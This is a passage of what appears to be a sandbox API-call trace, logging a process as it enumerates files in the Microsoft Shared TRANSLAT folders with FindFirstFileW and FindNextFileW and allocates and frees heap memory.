ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0085.706] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x75da, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0085.706] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37d2a200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37d2a200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.ELM", cAlternateFileName="")) returned 1 [0085.707] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 1 [0085.707] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 0 [0085.707] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0085.707] GetProcessHeap () returned 0x550000 [0085.707] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0085.707] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 0 [0085.707] FindClose (in: hFindFile=0x2684270 | out: hFindFile=0x2684270) returned 1 [0085.707] GetProcessHeap () returned 0x550000 [0085.708] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0085.708] FindNextFileW (in: hFindFile=0x2684230, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSLAT", cAlternateFileName="")) returned 1 [0085.708] GetProcessHeap () returned 0x550000 [0085.708] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0085.708] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*", lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684270 [0086.348] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.349] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARFR", cAlternateFileName="")) returned 1 [0086.349] GetProcessHeap () returned 0x550000 [0086.349] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0086.349] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0086.351] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.351] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 1 [0086.351] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 0 [0086.351] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0086.352] GetProcessHeap () returned 0x550000 [0086.352] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0086.352] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENES", cAlternateFileName="")) returned 1 [0086.352] GetProcessHeap () returned 0x550000 [0086.352] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0086.352] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0086.661] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.661] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 1 [0086.661] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 0 [0086.661] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0086.661] GetProcessHeap () returned 0x550000 [0086.661] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0086.661] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENFR", cAlternateFileName="")) returned 1 [0086.662] GetProcessHeap () returned 0x550000 [0086.662] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0086.662] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0086.662] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.662] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 1 [0086.662] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 0 [0086.663] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0086.663] GetProcessHeap () returned 0x550000 [0086.663] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0086.663] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESEN", cAlternateFileName="")) returned 1 [0086.663] GetProcessHeap () returned 0x550000 [0086.663] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0086.663] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0086.664] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.664] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9890c900, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x54a7f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9890c900, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ESEN.DLL", cAlternateFileName="")) returned 1 [0086.664] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22595900, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22595900, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xff7f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ESEN.ITS", cAlternateFileName="")) returned 1 [0086.664] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 1 [0086.664] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 0 [0086.665] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0086.665] GetProcessHeap () returned 0x550000 [0086.665] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0086.665] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRAR", cAlternateFileName="")) returned 1 [0086.665] GetProcessHeap () returned 0x550000 [0086.665] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0086.665] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0087.131] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.131] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 1 [0087.131] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 0 [0087.131] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0087.131] GetProcessHeap () returned 0x550000 [0087.132] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0087.132] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FREN", cAlternateFileName="")) returned 1 [0087.132] GetProcessHeap () returned 0x550000 [0087.132] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0087.132] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0087.134] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.134] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb22e200, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb22e200, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FREN.DLL", cAlternateFileName="")) returned 1 [0087.134] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x238a8600, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x238a8600, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xcd2ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FREN.ITS", cAlternateFileName="")) returned 1 [0087.134] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, 